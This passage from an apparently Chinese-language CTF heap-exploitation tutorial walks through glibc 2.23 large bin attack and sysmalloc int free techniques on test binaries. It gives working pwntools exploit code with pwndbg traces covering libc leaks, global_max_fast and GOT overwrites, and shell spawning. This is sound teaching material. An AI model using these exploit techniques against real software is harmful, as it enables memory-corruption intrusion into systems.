   3544               fwd = bck->fd;
   
pwndbg> p/x size
$15 = 0x510

由于这次size属于large bin,进入else分支。

In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3547
   3541             {
   3542               victim_index = largebin_index (size);
   3543               bck = bin_at (av, victim_index);
   3544               fwd = bck->fd;
   3545 
   3546               /* maintain large bins in sorted order */
 ► 3547               if (fwd != bck)
   3548                 {
    
pwndbg> p/x bck
$16 = 0x7d2e9a18dfa8
pwndbg> p/x fwd
$17 = 0x18585460

由于fwd != bck条件成立,进入该分支。

In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3553
   3547               if (fwd != bck)
   3548                 {
   3549                   /* Or with inuse bit to speed comparisons */
   3550                   size |= PREV_INUSE;
   3551                   /* if smaller than smallest, bypass loop below */
   3552                   assert ((bck->bk->size & NON_MAIN_ARENA) == 0);
 ► 3553                   if ((unsigned long) (size) < (unsigned long) (bck->bk->size))
   3554                     {
   
pwndbg> p/x bck->bk->size
$18 = 0x3f1
pwndbg> p/x size
$19 = 0x511

由于不满足((unsigned long) (size) < (unsigned long) (bck->bk->size)),进入其else分支。

In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3564
   3558                       victim->fd_nextsize = fwd->fd;
   3559                       victim->bk_nextsize = fwd->fd->bk_nextsize;
   3560                       fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
   3561                     }
   3562                   else
   3563                     {
   3564                       assert ((fwd->size & NON_MAIN_ARENA) == 0);
 ► 3565                       while ((unsigned long) size < fwd->size)
   3566                         {
   3567                           fwd = fwd->fd_nextsize;
   3568                           assert ((fwd->size & NON_MAIN_ARENA) == 0);
   3569                         }

pwndbg> p/x size
$25 = 0x511
pwndbg> p/x fwd
$26 = 0x18585460
pwndbg> p/x fwd->size
$27 = 0x3f1

由于size < fwd->size条件不满足,直接跳过fd_nextsize链表遍历。

In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3576
   3570 
   3571                       if ((unsigned long) size == (unsigned long) fwd->size)
   3572                         /* Always insert in the second position.  */
   3573                         fwd = fwd->fd;
   3574                       else
   3575                         {
 ► 3576                           victim->fd_nextsize = fwd;
   3577                           victim->bk_nextsize = fwd->bk_nextsize;
   3578                           fwd->bk_nextsize = victim;
   3579                           victim->bk_nextsize->fd_nextsize = victim;

由于size == (unsigned long) fwd->size还是不满足,进入其else分支。

In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3579
   3573                         fwd = fwd->fd;
   3574                       else
   3575                         {
   3576                           victim->fd_nextsize = fwd;
   3577                           victim->bk_nextsize = fwd->bk_nextsize;
   3578                           fwd->bk_nextsize = victim;
 ► 3579                           victim->bk_nextsize->fd_nextsize = victim;
 
pwndbg> p/x victim
$29 = 0x185859a0
pwndbg> p/x victim->bk_nextsize
$30 = 0x4041c0
pwndbg> p/x victim->bk_nextsize->fd_nextsize
$31 = 0xdb113b30f005d328
pwndbg> x/1gx &magic
0x4041e0 <magic>:       0xdb113b30f005d328
pwndbg> 

此处便是实现任意地址写的bug点。

In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3592
   3586             }
   3587 
   3588           mark_bin (av, victim_index);
   3589           victim->bk = bck;
   3590           victim->fd = fwd;
   3591           fwd->bk = victim;
 ► 3592           bck->fd = victim;
 
pwndbg> p/x bck
$33 = 0x4041d0
pwndbg> p/x bck->fd
$34 = 0x185859a0
pwndbg> x/1gx &magic
0x4041e0 <magic>:       0x00000000185859a0
pwndbg> 

此处便是实现任意地址写的另外一个bug点。

可以发现magic已经修改为0x00000000185859a0。直接利用其测试二进制的后门函数,获取shell的控制权。

1-11 large bin attack其二

本方法为large bin attack和fast bin attack的组合技,large bin attack核心原理参考large bin attack其一,此处不在赘述。

测试的二进制源码参考binary.c,相关exoloit.py完整内容可见exploit.py

核心利用代码如下:

# unsorted bin leak
malloc(0, 0x420, b"A" * 0x8)
malloc(1, 0x20, b"A" * 0x8)
malloc(2, 0x500, b"B" * 0x8)
malloc(3, 0x20, b"B" * 0x8)
malloc(4, 0x500, b"C" * 0x8)
malloc(5, 0x20, b"C" * 0x8)
delete(0)
delete(2)
# pwndbg> unsortedbin
# unsortedbin
# all: 0x13516460 —▸ 0x13516000 —▸ 0x7e64b5b8db78 (main_arena+88) ◂— 0x13516460
# pwndbg> heap
# Free chunk (unsortedbin) | PREV_INUSE
# Addr: 0x13516000
# Size: 0x430 (with flag bits: 0x431)
# fd: 0x7e64b5b8db78
# bk: 0x13516460
#
# Allocated chunk
# Addr: 0x13516430
# Size: 0x30 (with flag bits: 0x30)
#
# Free chunk (unsortedbin) | PREV_INUSE
# Addr: 0x13516460
# Size: 0x510 (with flag bits: 0x511)
# fd: 0x13516000
# bk: 0x7e64b5b8db78
#
# Allocated chunk
# Addr: 0x13516970
# Size: 0x30 (with flag bits: 0x30)
#
# Allocated chunk | PREV_INUSE
# Addr: 0x135169a0
# Size: 0x510 (with flag bits: 0x511)
#
# Allocated chunk | PREV_INUSE
# Addr: 0x13516eb0
# Size: 0x30 (with flag bits: 0x31)
#
# Top chunk | PREV_INUSE
# Addr: 0x13516ee0
# Size: 0x20120 (with flag bits: 0x20121)
#
# pwndbg>
show(0)
# pwndbg> x/4gx 0x13516000
# 0x13516000:     0x0000000000000000      0x0000000000000431
# 0x13516010:     0x00007e64b5b8db78      0x0000000013516460
# pwndbg>
main_arena88_leak = u64(conn.recv(6).ljust(8, b"\x00"))
libc.address = main_arena88_leak - 0x38DB78
log.info(f"main_arena+88 leak: {hex(main_arena88_leak)}")
log.info(f"libc base: {hex(libc.address)}")
log.info(f"system addr: {hex(libc.sym['system'])}")
binsh_addr = next(libc.search(b"/bin/sh"))
log.info(f"binsh addr: {hex(binsh_addr)}")

# large bin attack
malloc(6, 0x90, b"D" * 0x8)
# pwndbg> bins
# fastbins
# empty
# unsortedbin
# all: 0x135160a0 —▸ 0x7e64b5b8db78 (main_arena+88) ◂— 0x135160a0
# smallbins
# empty
# largebins
# 0x500-0x530: 0x13516460 —▸ 0x7e64b5b8dfa8 (main_arena+1160) ◂— 0x13516460
# pwndbg>
delete(4)
# pwndbg> bins
# fastbins
# empty
# unsortedbin
# all: 0x135169a0 —▸ 0x135160a0 —▸ 0x7e64b5b8db78 (main_arena+88) ◂— 0x135169a0
# smallbins
# empty
# largebins
# 0x500-0x530: 0x13516460 —▸ 0x7e64b5b8dfa8 (main_arena+1160) ◂— 0x13516460
# pwndbg> x/12gx 0x0000000013516440-0x10
# 0x13516430:     0x0000000000000390      0x0000000000000030  <= chunk 1
# 0x13516440:     0x4141414141414141      0x0000000000000000
# 0x13516450:     0x0000000000000000      0x0000000000000000
# 0x13516460:     0x0000000000000000      0x0000000000000511  <= chunk 2
# 0x13516470:     0x00007e64b5b8dfa8      0x00007e64b5b8dfa8
# 0x13516480:     0x0000000013516460      0x0000000013516460
# pwndbg> x/16gx chunks
# 0x4040c0 <chunks>:      0x0000000000000420      0x0000000013516010
# 0x4040d0 <chunks+16>:   0x0000000000000020      0x0000000013516440
# 0x4040e0 <chunks+32>:   0x0000000000000500      0x0000000013516470
# 0x4040f0 <chunks+48>:   0x0000000000000020      0x0000000013516980
# 0x404100 <chunks+64>:   0x0000000000000500      0x00000000135169b0
# 0x404110 <chunks+80>:   0x0000000000000020      0x0000000013516ec0
# 0x404120 <chunks+96>:   0x0000000000000090      0x0000000013516010
# 0x404130 <chunks+112>:  0x0000000000000000      0x0000000000000000
# pwndbg>
payload = b"A" * 0x28 + p64(0x3F1)
payload += p64(0) + p64(libc.sym["global_max_fast"] - 0x10)
payload += p64(0) + p64(libc.sym["global_max_fast"] - 0x20)
edit(1, len(payload), payload)
# pwndbg> x/12gx 0x0000000013516440-0x10
# 0x13516430:     0x0000000000000390      0x0000000000000030
# 0x13516440:     0x4141414141414141      0x4141414141414141
# 0x13516450:     0x4141414141414141      0x4141414141414141
# 0x13516460:     0x4141414141414141      0x00000000000003f1
# 0x13516470:     0x0000000000000000      0x00007e64b5b8f7c8
# 0x13516480:     0x0000000000000000      0x00007e64b5b8f7b8
# pwndbg> x/1gx &global_max_fast
# 0x7e64b5b8f7d8 <global_max_fast>:       0x0000000000000080
# pwndbg>
malloc(7, 0x80, b"E" * 0x8)
# pwndbg> x/1gx &global_max_fast
# 0x7e64b5b8f7d8 <global_max_fast>:       0x00000000135169a0
# pwndbg>
delete(7)
# pwndbg> bins
# fastbins
# 0x90: 0x135160a0 ◂— 0
# unsortedbin
# all: 0x13516130 —▸ 0x7e64b5b8db78 (main_arena+88) ◂— 0x13516130
# smallbins
# empty
# largebins
# 0x500-0x530 [corrupted]
# FD: 0x13516460 ◂— 0
# BK: 0x13516460 —▸ 0x135169a0 —▸ 0x7e64b5b8f7c8 (__free_hook) ◂— 0
# pwndbg>
edit(7, 0x8, p64(0x404118))
malloc(8, 0x80, b"F" * 0x8)
malloc(9, 0x80, b"F" * 0x8)
# pwndbg> x/20gx chunks
# 0x4040c0 <chunks>:      0x0000000000000420      0x0000000013516010
# 0x4040d0 <chunks+16>:   0x0000000000000050      0x0000000013516440
# 0x4040e0 <chunks+32>:   0x0000000000000500      0x0000000013516470
# 0x4040f0 <chunks+48>:   0x0000000000000020      0x0000000013516980
# 0x404100 <chunks+64>:   0x0000000000000500      0x00000000135169b0
# 0x404110 <chunks+80>:   0x0000000000000020      0x0000000013516ec0
# 0x404120 <chunks+96>:   0x0000000000000090      0x4646464646464646
# 0x404130 <chunks+112>:  0x0000000000000008      0x00000000135160b0
# 0x404140 <chunks+128>:  0x0000000000000080      0x00000000135160b0
# 0x404150 <chunks+144>:  0x0000000000000080      0x0000000000404128
# pwndbg>
payload = p64(0x00404000) + p64(0) + p64(binsh_addr)
edit(9, len(payload), payload)
# pwndbg> x/20gx chunks
# 0x4040c0 <chunks>:      0x0000000000000420      0x0000000013516010
# 0x4040d0 <chunks+16>:   0x0000000000000050      0x0000000013516440
# 0x4040e0 <chunks+32>:   0x0000000000000500      0x0000000013516470
# 0x4040f0 <chunks+48>:   0x0000000000000020      0x0000000013516980
# 0x404100 <chunks+64>:   0x0000000000000500      0x00000000135169b0
# 0x404110 <chunks+80>:   0x0000000000000020      0x0000000013516ec0
# 0x404120 <chunks+96>:   0x0000000000000090      0x0000000000404000
# 0x404130 <chunks+112>:  0x0000000000000000      0x00007e64b5956d73
# 0x404140 <chunks+128>:  0x0000000000000080      0x00000000135160b0
# 0x404150 <chunks+144>:  0x0000000000000018      0x0000000000404128
# pwndbg> x/1gx 0x0000000000404000
# 0x404000 <free@got.plt>:        0x00007e64b5873a9b
# pwndbg> x/s 0x00007e64b5956d73
# 0x7e64b5956d73: "/bin/sh"
# pwndbg>
edit(6, 0x8, p64(libc.sym["system"]))
# pwndbg> x/1gx 0x0000000000404000
# 0x404000 <free@got.plt>:        0x00007e64b583c3eb
# pwndbg> x/5i 0x00007e64b583c3eb
#    0x7e64b583c3eb <__libc_system>:      sub    rsp,0x8
#    0x7e64b583c3ef <__libc_system+4>:    test   rdi,rdi
#    0x7e64b583c3f2 <__libc_system+7>:    jne    0x7e64b583c40a <__libc_system+31>
#    0x7e64b583c3f4 <__libc_system+9>:    lea    rdi,[rip+0x11a980]        # 0x7e64b5956d7b
#    0x7e64b583c3fb <__libc_system+16>:   call   0x7e64b583be36 <do_system>
# pwndbg>
delete(7)
cmd = b"cat src/2.23/large_bin_attack_again/flag\x00"
conn.sendline(cmd)
flag = conn.recvline().decode().strip()
log.success(f"flag: {format_flag(flag)}")

首先利用unsorted bin leak获取libc地址,然后利用large bin attack修改global_max_fast为0x00000000135169a0地址, 接着在.bss上构造fast bin fake chunk,连续申请0x80块大小的chunk,最终获取.bss的控制权。 经过上面的操作,获取shell就水到渠成了。

1-12 sysmalloc int free

当目标只有分配、查看、编辑功能,却缺失了关键的释放功能。初看起来目标不存在任何漏洞,利用本方法巧妙的制作出来free的效果。

测试的二进制源码参考binary.c,相关exoloit.py完整内容可见exploit.py

核心利用代码如下:

SIZE_SZ = 0x8
CHUNK_HDR_SZ = SIZE_SZ * 2
MALLOC_ALIGN = SIZE_SZ * 2
MALLOC_MASK = -MALLOC_ALIGN
PAGESIZE = 0x1000
PAGE_MASK = PAGESIZE - 1
FENCEPOST = CHUNK_HDR_SZ * 2
PROBE = 0x20 - CHUNK_HDR_SZ
CHUNK_FREED_SIZE = 0x150
FREED_SIZE = CHUNK_FREED_SIZE - CHUNK_HDR_SZ

# sysmalloc int free
malloc(0, PROBE, b"A" * 0x8)
allocated_size = 0x20FE1 - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_FREED_SIZE
allocated_size &= PAGE_MASK
allocated_size &= MALLOC_MASK
malloc(1, allocated_size, b"B" * 0x8)
payload = b"B" * (allocated_size + 0x8) + p64(0x20171 & PAGE_MASK)
edit(1, len(payload), payload)
# create an unsorted bin
malloc(2, CHUNK_FREED_SIZE + 0x10, b"C" * 0x8)

# unsorted bin attack
payload = b"B" * (allocated_size + 0x8) + b"A" * 0x8
edit(1, len(payload), payload)
show(1)
conn.recvuntil(payload)
libc_leak = u64(conn.recv(6).ljust(8, b"\x00"))
log.info(f"libc leak: {hex(libc_leak)}")
# 004041e0  uint64_t magic = 0x0
magic = 0x004041E0
payload = b"B" * (allocated_size + 0x8) + p64(0x151)
payload += p64(libc_leak) + p64(magic - 0x10)
edit(1, len(payload), payload)
# fetch the unsorted bin
malloc(3, FREED_SIZE, b"D" * 0x8)
use_magic(libc_leak)
conn.recv(1)
cmd = b"cat src/2.23/sysmalloc_int_free/flag\x00"
conn.sendline(cmd)
flag = conn.recvline().decode().strip()
log.success(f"flag: {format_flag(flag)}")

代码比较抽象,接下来通过具体的heap结构清晰展示。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x3fff7000
Size: 0x20 (with flag bits: 0x21)

Top chunk | PREV_INUSE
Addr: 0x3fff7020
Size: 0x20fe0 (with flag bits: 0x20fe1)

pwndbg> 

申请chunkA之后,可以看出来top-chunk->size = 0x20fe1。根据公式计算allocated_size作为下一次申请的大小。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x3fff7000
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x3fff7020
Size: 0xe70 (with flag bits: 0xe71)

Top chunk | PREV_INUSE
Addr: 0x3fff7e90
Size: 0x20170 (with flag bits: 0x20171)

pwndbg> 

将top-chunk->size修改为(0x20171 & PAGE_MASK),为free做好准备。

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x3fff7000
Size: 0x20 (with flag bits: 0x21)

Allocated chunk | PREV_INUSE
Addr: 0x3fff7020
Size: 0xe70 (with flag bits: 0xe71)

Top chunk | PREV_INUSE
Addr: 0x3fff7e90
Size: 0x170 (with flag bits: 0x171)

pwndbg>

申请chunkC触发free操作。

In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3796
   3790          to put in fenceposts in sysmalloc.)
   3791        */
   3792 
   3793       victim = av->top;
   3794       size = chunksize (victim);
   3795 
 ► 3796       if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
   3797         {
   
pwndbg> p/x size
$1 = 0x170
pwndbg> p/x nb
$2 = 0x170

In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3813
   3807           alloc_perturb (p, bytes);
   3808           return p;
   3809         }
   3810 
   3811       /* When we are using atomic ops to free fast chunks we can get
   3812          here for all block sizes.  */
 ► 3813       else if (have_fastchunks (av))
   3814         {
   
In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:3828
   3822 
   3823       /*
   3824          Otherwise, relay to handle system-dependent cases
   3825        */
   3826       else
   3827         {
 ► 3828           void *p = sysmalloc (nb, av);

由于((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))和(have_fastchunks (av))条件均不满足,进入else分支。

In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:2385
   2379   /* Record incoming configuration of top */
   2380 
   2381   old_top = av->top;
   2382   old_size = chunksize (old_top);
   2383   old_end = (char *) (chunk_at_offset (old_top, old_size));
   2384 
 ► 2385   brk = snd_brk = (char *) (MORECORE_FAILURE);

进入sysmalloc函数内,提取旧top-chunk,准备使用brk扩展top-chunk,并将old top释放掉。

In file: /home/bogon/workSpaces/glibc/malloc/malloc.c:2716
   2710                       chunk_at_offset (old_top, old_size + 2 * SIZE_SZ)->size =
   2711                         (2 * SIZE_SZ) | PREV_INUSE;
   2712 
   2713                       /* If possible, release the rest. */
   2714                       if (old_size >= MINSIZE)
   2715                         {
 ► 2716                           _int_free (av, old_top, 1);
 
pwndbg> p/x old_top 
$6 = 0x3fff7e90
pwndbg> x/4gx 0x3fff7e90
0x3fff7e90:     0x4242424242424242      0x0000000000000151
0x3fff7ea0:     0xc935efda466e2732      0x2237cad8a5973351
pwndbg> top-chunk 
Top chunk | PREV_INUSE
Addr: 0x40018000
Size: 0x22000 (with flag bits: 0x22001)

pwndbg> 

可以发现top-chunk已经更新,准备释放old_top,从而实现了free操作。

pwndbg> unsortedbin 
unsortedbin
all: 0x3fff7e90 —▸ 0x7b90e198db78 (main_arena+88) ◂— 0x3fff7e90
pwndbg> 

可以发现成功制作出来unsortedbin了。接下来利用unsorted bin attack获取shell就轻车熟路了。

未完待续…

参考

https://github.com/BinRacer/pwn4heap/tree/master/src/2.23

文档信息

Search

    Table of Contents